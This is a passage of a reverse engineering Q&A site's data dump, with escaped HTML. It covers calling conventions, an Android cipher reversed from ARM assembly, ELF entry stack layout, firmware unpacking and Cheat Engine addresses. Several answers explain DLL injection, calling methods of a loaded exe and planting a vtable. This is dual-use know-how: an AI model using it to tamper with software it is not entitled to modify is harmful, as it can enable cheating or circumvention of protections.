call.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Pascal&lt;/strong&gt;: Convention originally used by the Pascal programming language, parameters on the stack, leftmost parameter first. The Win32 API calls (it is a C interface) were all tagged with the PASCAL keyword.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;stdcall&lt;/strong&gt;: same as Pascal&lt;/p&gt;&#xA;&lt;p&gt;Both (cdecl and stdcall) are the widely used, as everybody uses C Compilers and the Win32 API is also very common (although not everybody uses it...). I do not know if other compilers use the same keywords. It might be noted that using a DLL in your software you must know the calling convention of its API, as it must match the one of the caller. This is a frequent cause of trouble when using DLLs you didn't create yourself.&lt;/p&gt;&#xA;&lt;p&gt;The Ghidra variants &lt;strong&gt;16near&lt;/strong&gt; and &lt;strong&gt;16far&lt;/strong&gt; of these two are to indicate the segmented memory model (in contrast to a flat memory model) of the 8086 architecture. 16near indicates intra segment (within 64k), and 16far indicates inter segment (call into another 64k segment). These have their origin in the 8086 architecture, where different assembler calls for near and far calls are present.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;thiscall&lt;/strong&gt; indicates a call to a member function (method) of a C++ class in the Microsoft compiler. In the 32-bit world, the ECX register holds the &amp;quot;this&amp;quot; pointer in that case. Don't know if this existed already in 16-bit world. MS released their first C++ compiler in 1992, thus you will not be bothered with your game with __thiscall (if built with a MS compiler).&lt;/p&gt;&#xA;&lt;p&gt;Not sure about the exact meaning of &lt;strong&gt;regcall&lt;/strong&gt; and &lt;strong&gt;fastcall&lt;/strong&gt;, but I also assume a parameter transfer in registers.&lt;/p&gt;&#xA;&lt;p&gt;Please read all this with a grain of salt, the 16-Bit times are (at least on PCs) long gone. And if you don't bother to google about these items, you surely will find a wealth of information.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2020-10-01T01:05:30.993" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26019" PostTypeId="1" CreationDate="2020-10-01T05:44:34.693" Score="0" ViewCount="163" Body="&lt;p&gt;I try to reverse a cipher algorithm (I guess Tiny Encryption Algorithm (TEA)) in an android application. But I have a serious problem in initializing arguments. &lt;strong&gt;How I can understand that I have selected the input arguments correctly?(Especially when they are pointer)&lt;/strong&gt;&#xA;This algorithm get 4 bytes from user(typed in a textbox)and other 4 bytes from an external hardware and mix up this 8 bytes and export 4 bytes for us.&#xA;So, I have shown this algorithm in below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                EXPORT Mycipher&#xA;Mycipher                                &#xA;                                        &#xA;&#xA;var_20          = -0x20&#xA;var_1C          = -0x1C&#xA;&#xA;                PUSH    {R0-R2,R4-R7,LR}&#xA;                MOVS    R3, #0&#xA;                STR     R0, [SP,#0x20+var_20]&#xA;                LDR     R4, [R1]&#xA;                LDR     R0, [R1,#4]&#xA;                MOVS    R5, R3&#xA;                MOVS    R6, #3&#xA;                MOV     R12, R1&#xA;                B       loc_DADC&#xA;; ---------------------------------------------------------------------------&#xA;&#xA;loc_DAA6                                ; CODE XREF: Mycipher+4C&#xA;                MOVS    R1, R3&#xA;                ANDS    R1, R6&#xA;                LSLS    R1, R1, #2&#xA;                LDR     R1, [R1,R2]&#xA;                LSLS    R7, R0, #4&#xA;                ADDS    R5, #1&#xA;                ADDS    R1, R3, R1&#xA;                STR     R1, [SP,#0x20+var_1C]&#xA;                LSRS    R1, R0, #5&#xA;                EORS    R7, R1&#xA;                LDR     R1, [SP,#0x20+var_1C]&#xA;                ADDS    R7, R7, R0&#xA;                EORS    R7, R1&#xA;                LDR     R1, =0x9E3779B9&#xA;                ADDS    R4, R4, R7&#xA;                LSRS    R7, R4, #5&#xA;                ADDS    R3, R3, R1&#xA;                LSLS    R1, R4, #4&#xA;                EORS    R7, R1&#xA;                LSRS    R1, R3, #0xB&#xA;                ANDS    R1, R6&#xA;                LSLS    R1, R1, #2&#xA;                LDR     R1, [R1,R2]&#xA;                ADDS    R7, R7, R4&#xA;                ADDS    R1, R3, R1&#xA;                EORS    R1, R7&#xA;                ADDS    R0, R0, R1&#xA;&#xA;loc_DADC                                ; CODE XREF: Mycipher+10&#xA;                LDR     R1, [SP,#0x20+var_20]&#xA;                CMP     R5, R1&#xA;                BNE     loc_DAA6&#xA;                MOV     R1, R12&#xA;                STR     R4, [R1]&#xA;                STR     R0, [R1,#4]&#xA;                POP     {R0-R2,R4-R7,PC}&#xA;; End of function Mycipher&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I reverse this algorithm to C code :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;void Mycipher (uint32_t* v, const uint32_t* k ) {&#xA;    uint32_t v0=v[0] ,v1=v[1], sum=0, i;&#xA;for (i=0; i&amp;lt;2; i++) {&#xA;    v0 += ((v1 &amp;lt;&amp;lt; 4u ^ v1 &amp;gt;&amp;gt; 5u) + v1) ^ (uint32_t)(sum + *(uint32_t *)(((sum &amp;amp; 3u) * 4u) + k));&#xA;    sum = sum + 0x9e3779b9;&#xA;    v1 += (sum + *(uint32_t *)((sum &amp;gt;&amp;gt; 0xb &amp;amp; 3u) * 4u + k) ^ (v0 &amp;gt;&amp;gt; 5u ^ v0 * 0x10) + v0);&#xA;}&#xA;v[0]=v0; v[1]=v1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And you can see the piece of code that exactly there is in before of function invoke:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;STR     R3, [SP,#0x258+var_248]&#xA;MOVS    R0, #2&#xA;MVNS    R3, R3&#xA;ADD     R1, SP, #0x258+var_248&#xA;ADD     R2, SP, #0x258+var_240&#xA;STR     R3, [SP,#0x258+var_244]&#xA;BL      Mycipher&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But I don't know &lt;strong&gt;how I can determine the input arguments type?&lt;/strong&gt; For example, I put the second argument as &lt;code&gt;const&lt;/code&gt; because the cLion suggest me(Not for my knowledge). Or, In this case &lt;strong&gt;which line of code that shown above I must consider for input arguments?&lt;/strong&gt; Now, I think my conversion have some problems(I'm suspicious to my codes) and I like to know how I can fix these problems.&#xA;Sorry for eating your time.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="31110" LastEditorUserId="31110" LastEditDate="2020-10-01T08:27:27.933" LastActivityDate="2020-10-01T08:27:27.933" Title="Reverse an encryption algorithem in APK .so file" Tags="|disassembly|android|c|arm|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26020" PostTypeId="1" AcceptedAnswerId="26023" CreationDate="2020-10-01T08:34:14.113" Score="1" ViewCount="356" Body="&lt;p&gt;I have an ELF binary and in the entry function the first two instructions are:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;XOR EBP, EBP&#xA;POP ESI&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm curious what the state of the stack is at the start of the entry function in ELF and PE binaries (and others if possible).&#xA;I had thought it was empty but presumably there is something there to be &lt;code&gt;pop&lt;/code&gt;ed.&lt;/p&gt;&#xA;" OwnerUserId="34554" LastActivityDate="2020-10-01T22:23:24.993" Title="What is the state of the stack in the entry function?" Tags="|elf|stack|entry-point|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26021" PostTypeId="1" CreationDate="2020-10-01T11:59:47.667" Score="1" ViewCount="181" Body="&lt;p&gt;Sorry for my question, i'm newbie! so i'm trying to split or unpack this file mobile_update.bin, it is an firmware for routeur device.&lt;/p&gt;&#xA;&lt;p&gt;(Based on qualcomm 9x07 and secureboot device also), i'm trying with 7zip or binwalk but error. Someone says me that it easy to unpack but  really, i have a headache to try with my little knwoledge.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QsTsn.png&quot; alt=&quot;binwalk&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Could you help me or give idea to unpack this please?&#xA;Thank you very much !&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mediafire.com/file/4kwemp621hq005v/mobile_update.zip/file&quot; rel=&quot;nofollow noreferrer&quot;&gt;link &amp;gt; mobile_update&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;(sorry for my English is so bad)&lt;/p&gt;&#xA;" OwnerUserId="34522" LastEditorUserId="34522" LastEditDate="2020-10-01T12:20:17.047" LastActivityDate="2020-10-01T12:20:17.047" Title="Unpacking or split .BIN firmware for router device" Tags="|firmware|unpacking|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26022" PostTypeId="2" ParentId="26012" CreationDate="2020-10-01T12:31:26.857" Score="1" Body="&lt;p&gt;Since in your case the final value of ZF will be zero, there is no need to check the initial value but simply always zero it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ZF=0,0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;,0&lt;/code&gt; at the end will ensure that the result of expression is 0 so IDA will continue execution of the program.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-10-01T12:31:26.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26023" PostTypeId="2" ParentId="26020" CreationDate="2020-10-01T12:55:42.847" Score="1" Body="&lt;p&gt;In the &lt;code&gt;_start&lt;/code&gt; function, &lt;code&gt;argc&lt;/code&gt;, &lt;code&gt;argv&lt;/code&gt; and &lt;code&gt;envp&lt;/code&gt; are contained on the stack.&lt;/p&gt;&#xA;&lt;p&gt;A good read on this is the &lt;a href=&quot;http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Linux x86 Program Start Up or - How the heck do we get to &lt;code&gt;main()&lt;/code&gt;?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;When you run a program, the shell or gui calls &lt;code&gt;execve()&lt;/code&gt; which executes the linux system call &lt;code&gt;execve()&lt;/code&gt;. If you want more information about &lt;code&gt;execve()&lt;/code&gt; then you can simply type &lt;code&gt;man execve&lt;/code&gt; from your shell. It will come from section 2 of man where all the system calls are. To summarize, it will set up a stack for you, and push onto it &lt;code&gt;argc&lt;/code&gt;, &lt;code&gt;argv&lt;/code&gt;, and &lt;code&gt;envp&lt;/code&gt;. The file descriptions 0, 1, and 2, (&lt;code&gt;stdin&lt;/code&gt;, &lt;code&gt;stdout&lt;/code&gt;, &lt;code&gt;stderr&lt;/code&gt;), are left to whatever the shell set them to. The loader does much work for you setting up your relocations, and as we'll see much later, calling your preinitializers. When everything is ready, control is handed to your program by calling &lt;code&gt;_start()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="21876" LastActivityDate="2020-10-01T12:55:42.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26024" PostTypeId="2" ParentId="26006" CreationDate="2020-10-01T14:14:55.793" Score="1" Body="&lt;p&gt;This is an interesting problem where some issues have to be solved.&lt;/p&gt;&#xA;&lt;p&gt;For the first part of your question: How to run an exe from memory, you might want to consult the following link:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/305203/createprocess-from-memory-buffer&quot;&gt;https://stackoverflow.com/questions/305203/createprocess-from-memory-buffer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the following, I will try to show you how to tackle your second question, how to call a class method of that exe being present in memory.&lt;/p&gt;&#xA;&lt;p&gt;The following example (keep it as simple as possible) does not assume a DLL as a caller, but another exe. The mechanics should be exactly the same, however.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Part 1 : Called exe&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let us start with a very simple C++ Windows (VS2013) exe serving as the one to be called from another exe (or DLL in your case). I named this exe &amp;quot;ExeToBeCalled&amp;quot;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;class myClass&#xA;{&#xA;public: &#xA;    int myVar;&#xA;    void myFunc(int a, int b)&#xA;    {&#xA;        myVar = a - b;&#xA;    }&#xA;};&#xA;&#xA;int main(int argc, char* argv[])&#xA;{&#xA;    myClass* pmc = new myClass();  //parameterless constructor&#xA;    myClass* pmc2 = new myClass(); //parameterless constructor&#xA;    pmc-&amp;gt;myFunc(123, 23);&#xA;    pmc2-&amp;gt;myFunc(456, pmc-&amp;gt;myVar);&#xA;    std::cout &amp;lt;&amp;lt; pmc2-&amp;gt;myVar;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It contains a class with one method, called myFunc, which subtracts its two parameters and stores it into a public member variable, called myVar. The subtraction instead of e.g. an addition has been chosen to be easily able to decide whether the correct parameter calling sequence is used.&lt;/p&gt;&#xA;&lt;p&gt;Two instances of this class are created, and the result is output to the console. Sloppy programming, as the delete has been omitted.&lt;/p&gt;&#xA;&lt;p&gt;The interesting part is the fact that the class instances (created with &amp;quot;new&amp;quot; on the heap) contain only the myVar on the heap, because each instance must have its own myVar, whereas the myFunc is common for all instances and as a consequence its address is statically assigned by the compiler. This address has to be found out, e.g. by inspection in Ida. From your posting I assumed that you solved this problem already.  The problem becomes more difficult for virtual methods, not considered in our simple example.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Part 2 : Caller exe&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This of course is the interesting part. I also created an example (VS2013), like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;Windows.h&amp;gt; // necessary for the &amp;quot;LoadLibrary&amp;quot;&#xA;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;// class method, statically assigned by the compiler&#xA;// The address has to be found out, e.g. by inspection in Ida&#xA;// You solved this part of the problem already.&#xA;// As we call the function from assembler, the __cdecl is irrelevant.&#xA;// It would matter though if we called from C++.&#xA;// Note that the callee needs a valid ecx for the function to succeed.&#xA;typedef void(*__cdecl pmyFunc)(int a, int b);&#xA;&#xA;    // assumed myClass layout, being a guess of the real layout of the class.&#xA;    // We only need the member variable&#xA;    // This &amp;quot;class&amp;quot; is for problem illustration only, we do NOT need it in our program.&#xA;    class myClass&#xA;    {&#xA;    public:&#xA;        int myResult;&#xA;    };&#xA;&#xA;int main(int argc, char* argv[])&#xA;{&#xA;    HANDLE pExe = LoadLibrary(&amp;quot;ExeToBeCalled.exe&amp;quot;);&#xA;&#xA;    // Address e.g. obtained by investigation of the callee in Ida.&#xA;    pmyFunc myFunc = (pmyFunc)((byte*)pExe + 0x4320); &#xA;&#xA;    // let us get some memory from the heap for the class&#xA;    // As we do not know the &amp;quot;real&amp;quot; layout of the class, we allocate one kB, hoping it will be enough&#xA;    // We do NOT refer to the &amp;quot;myClass&amp;quot; above&#xA;    void* pmyClass = new byte[1000];&#xA;&#xA;    // Set it all to zero.&#xA;    for (int i = 0; i &amp;lt; 1000; i++)&#xA;        ((byte*)pmyClass)[i] = 0;&#xA;&#xA;    // let us switch to assembler for the call&#xA;    _asm&#xA;    {&#xA;        // We have to provide a valid memory in ecx where the real myclass can store its result&#xA;        // If we provide here for testing a zero into ecx, the app crashes.&#xA;        mov ecx, pmyClass;&#xA;        push 333;&#xA;        push 222;&#xA;        call myFunc; //result should be 222-333 = -111&#xA;    }&#xA;    // By inspection of the pmyClass memory in the debugger after the call to myFunc,&#xA;    //    we saw that the real myClass just stored the result into the first four bytes.&#xA;    // Of course, in reality this is not known beforehand, thus - in a real situation -&#xA;    //    the whole 1kB could have been searched for the expected result, determining&#xA;    //    the offset of myResult from the ecx value in reality.&#xA;    int result = *(((int*)pmyClass));&#xA;    std::cout &amp;lt;&amp;lt; result;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It has to be noted that our test exe from part 1 has to be compiled in Debug instead of Release mode. It is too simple for the compiler which optimizes it and does not even bother to call the myFunc, but directly calculates the result.&lt;/p&gt;&#xA;&lt;p&gt;To summarize, for the solution of your problem the following must be assumed or known:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The address of the class method. We assumed a static address which need not to be the case in general. &amp;quot;Static Address&amp;quot; here means a constant offset (RVA) of the exe's start address obtained by LoadLibrary, which usually differs on every load (ASLR).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The way the compiler of the exe used to call a method of a class. Here we assumed the passing of the &amp;quot;this&amp;quot; pointer in the ecx register.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The memory location where the result of the method call is stored. This also can be arbitrarily complicated in general, in our demo the simplest possible memory layout turned out to be correct.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In one of the comments the question about 64Bit has been asked. Of course, there the situation might be different, the method to investigate the problem would be rather similar.&lt;/p&gt;&#xA;&lt;p&gt;I hope this little example could enlighten one method how to attack your problem.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastEditorUserId="12800" LastEditDate="2020-10-01T14:40:56.503" LastActivityDate="2020-10-01T14:40:56.503" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26025" PostTypeId="2" ParentId="26006" CreationDate="2020-10-01T19:59:31.767" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/26024/182&quot;&gt;josh's answer&lt;/a&gt; is a good one, but one thing to note is that there is an alternative scheme that (usually) does not require inline assembly, and which handles the virtual functions case also. This is how I prefer to interact with C++ programs when I'm doing DLL injection/code reuse like your question is asking.&lt;/p&gt;&#xA;&lt;p&gt;Begin by defining &lt;em&gt;something&lt;/em&gt; for the class whose methods you want to call. If you know the full class declaration, recreate it in your calling program. If you know less than that -- say, you only know the size of the class -- you can do something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class MyClass {&#xA;  public:&#xA;  char mData[0x80]; // sizeof(MyClass) = 0x80&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(If you don't know the size of the class, pick a large number in place of &lt;code&gt;0x80&lt;/code&gt; and hope for the best. If the program crashes, pick a larger number and try again. Really though, try to figure out the size of the class, at minimum.)&lt;/p&gt;&#xA;&lt;p&gt;Now, we can use &lt;strong&gt;member function pointers&lt;/strong&gt; to force the compiler to set &lt;code&gt;ecx&lt;/code&gt; (the &lt;code&gt;this&lt;/code&gt;) pointer for us during the function pointer call. Namely:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;typedef void (MyClass::*FuncToCall)(int arg1, void *arg2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Similarly to josh's answer, now we want to cast the raw address of the member function in the DLL to a member function pointer of that type, and then call it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#define FUNC_OFFSET 0x4320&#xA;FuncToCall f = (FuncToCall)((byte*)pDLL + FUNC_OFFSET);&#xA;MyClass *m = new MyClass();&#xA;m-&amp;gt;*f(123, NULL); // member function pointer invocation syntax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDITED TO NOTE&lt;/strong&gt;: in my original answer, I'd forgotten to note that C++ is not as liberal about accepting casts of arbitrary types to member function pointers as C is about casting to ordinary function pointers. That is to say, the code in the below won't work directly; you'll need to basically twist the compiler's arm to make it work, but it is doable. &lt;a href=&quot;https://stackoverflow.com/questions/1307278/casting-between-void-and-a-pointer-to-member-function&quot;&gt;See this StackExchange discussion of the situation&lt;/a&gt;. One of the answers proposes using a &lt;code&gt;union&lt;/code&gt;, which is what I've typically done. See these two blog entries by Raymond Chen discussing why C++ is less tolerant about casts involving member function pointers (TL;DR multiple inheritance): &lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20040209-00/?p=40713&quot; rel=&quot;nofollow noreferrer&quot;&gt;one&lt;/a&gt;, &lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20040210-00/?p=40683&quot; rel=&quot;nofollow noreferrer&quot;&gt;two&lt;/a&gt;. Finally, &lt;a href=&quot;https://gist.github.com/RolfRolles/7e5103948266202458adfbfaee3265f1&quot; rel=&quot;nofollow noreferrer&quot;&gt;here's an example of how I used these techniques in a recent project&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;ORIGINAL TEXT CONTINUES HERE&lt;/strong&gt;: You can even wrap this up into a proxy stub function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#define FUNC1_OFFSET 0x4320&#xA;&#xA;// Global function pointer(s)&#xA;// Note: these are GLOBAL variables, not class members&#xA;FuncToCall gfp_MemFunc1;&#xA;&#xA;// Relocate all necessary addresses&#xA;// Call this once before calling member function pointers&#xA;void Init(byte *pDLL) {&#xA;  gfp_MemFunc1 = (FuncToCall)(pDLL + FUNC1_OFFSET);&#xA;}&#xA;&#xA;class MyClass {&#xA;  public:&#xA;  char mData[0x80];&#xA;&#xA;  // Make stub functions for members you want to call&#xA;  // Does not affect the layout of the class&#xA;  void MemFunc1Proxy(int arg1, void *arg2) {&#xA;    this-&amp;gt;*gfp_MemFunc1(arg1, arg2);&#xA;  };&#xA;};&#xA;&#xA;int main() {&#xA;  MyClass m();&#xA;  Init(/* address of DLL */);&#xA;&#xA;  // Call member functions easily via stubs&#xA;  m.MemFunc1Proxy(123,NULL);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For virtual functions, there are two cases. In both cases, you'll need to add compatible virtual function delcarations (in the proper order) to the mock class declaration. Something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class MyClass {&#xA;  public:&#xA;  char mData[0x80];&#xA;  virtual void ~MyClass();&#xA;  virtual int VFunc0x4(int);&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, as for the two different cases. First case: if you're able to call a function in the DLL to obtain an instantiated instance of your object, that's all you need; call a virtual function as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;MyClass *p = fpDLLFuncThatAllocatesMyClass();&#xA;int x = p-&amp;gt;VFunc0x4(1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If it's not easy or feasible to obtain a memory instance for &lt;code&gt;MyClass&lt;/code&gt; from the DLL, you can just install its VTable yourself.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#define VTABLE_OFFSET 0x5670&#xA;MyClass *m = new MyClass();&#xA;void *VTableAddr = (byte*)pDLL + VTABLE_OFFSET;&#xA;// Set the VTable pointer to be the VTable address in the DLL&#xA;*reinterpret_cast&amp;lt;void *&amp;gt;(m) = VTableAddr;&#xA;int x = p-&amp;gt;VFunc0x4(1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This scheme gives you a bit more flexibility, and does not usually require inline assembly. The exception to this happens when the non-virtual member function that you want to call uses a non-standard calling convention, as happens frequently in MSVC-compiled x86. If the compiler determines that the function will not be accessed outside of the DLL, it's under no obligation to use plain &lt;code&gt;__thiscall&lt;/code&gt; as the calling convention, and may use alternative register argument locations. In this situation, you'll have no choice but to use inline assembly language as in josh's answer above.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2020-10-31T18:56:48.117" LastActivityDate="2020-10-31T18:56:48.117" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26026" PostTypeId="2" ParentId="26020" CreationDate="2020-10-01T22:23:24.993" Score="0" Body="&lt;p&gt;The stack layout at the entry point for 32-bit Linux executables is described in the &lt;a href=&quot;http://www.sco.com/developers/devspecs/abi386-4.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;System V Intel386 Architecture ABI Supplement&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It looks like following:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aFoQi.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aFoQi.jpg&quot; alt=&quot;initial process stack layout&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So &lt;code&gt;pop edi&lt;/code&gt; copies the &lt;code&gt;argc&lt;/code&gt; value into  &lt;code&gt;edi&lt;/code&gt; and the following code probably builds the &lt;code&gt;argv&lt;/code&gt; array for the &lt;code&gt;main&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-10-01T22:23:24.993" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26027" PostTypeId="1" AcceptedAnswerId="26029" CreationDate="2020-10-02T07:08:49.990" Score="0" ViewCount="1143" Body="&lt;p&gt;I have found a function with Cheat Engine that I like to show in IDA:&lt;a href=&quot;https://i.stack.imgur.com/p3UE7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;enter image description here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vdTXW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vdTXW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;but the function is not present in IDA.&lt;/p&gt;&#xA;&lt;p&gt;Probably I have a bit confusion becouse I don't have experience with this tool.&lt;/p&gt;&#xA;&lt;p&gt;Can you help me ?&lt;/p&gt;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&lt;p&gt;I have tryed to add image base 400000:&lt;/p&gt;&#xA;&lt;p&gt;119EDD + 400000 = 519EDD&lt;/p&gt;&#xA;&lt;p&gt;But 519EDD not exist to IDA:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yCPnz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yCPnz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There is somthing wrrong ?&lt;/p&gt;&#xA;" OwnerUserId="33776" LastEditorUserId="33776" LastEditDate="2020-10-02T08:29:32.503" LastActivityDate="2020-10-02T10:00:10.503" Title="A bit confusion with cheat engine function address and IDA subrutine" Tags="|ida|disassembly|cheat-engine|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26028" PostTypeId="1" AcceptedAnswerId="26034" CreationDate="2020-10-02T07:27:17.560" Score="0" ViewCount="215" Body="&lt;p&gt;So, i downloaded the binary. Here are some details before moving forward:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;revbinary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2f0bc3cfa6ec6a297f58ae75f8802bd1b5ef7162, not stripped&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        linux-vdso.so.1 (0x00007fffec358000)&#xA;        libmariadb.so.3 =&amp;gt; /lib/x86_64-linux-gnu/libmariadb.so.3 (0x00007f1d76fbe000)&#xA;        libcrypto.so.1.1 =&amp;gt; /lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007f1d76cd2000)&#xA;        libzip.so.4 =&amp;gt; /lib/x86_64-linux-gnu/libzip.so.4 (0x00007f1d76cb7000)&#xA;        libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1d76af2000)&#xA;        libpthread.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f1d76ad0000)&#xA;        libz.so.1 =&amp;gt; /lib/x86_64-linux-gnu/libz.so.1 (0x00007f1d76ab3000)&#xA;        libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f1d76aab000)&#xA;        libgnutls.so.30 =&amp;gt; /lib/x86_64-linux-gnu/libgnutls.so.30 (0x00007f1d768e1000)&#xA;        libbz2.so.1.0 =&amp;gt; /lib/x86_64-linux-gnu/libbz2.so.1.0 (0x00007f1d768ce000)&#xA;        /lib64/ld-linux-x86-64.so.2 (0x00007f1d7703c000)&#xA;        libp11-kit.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libp11-kit.so.0 (0x00007f1d7679a000)&#xA;        libidn2.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libidn2.so.0 (0x00007f1d76779000)&#xA;        libunistring.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libunistring.so.2 (0x00007f1d765f5000)&#xA;        libtasn1.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libtasn1.so.6 (0x00007f1d765df000)&#xA;        libnettle.so.8 =&amp;gt; /lib/x86_64-linux-gnu/libnettle.so.8 (0x00007f1d7659f000)&#xA;        libhogweed.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libhogweed.so.6 (0x00007f1d76556000)&#xA;        libgmp.so.10 =&amp;gt; /lib/x86_64-linux-gnu/libgmp.so.10 (0x00007f1d764d3000)&#xA;        libffi.so.7 =&amp;gt; /lib/x86_64-linux-gnu/libffi.so.7 (0x00007f1d764c7000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, as you can see it depends upon 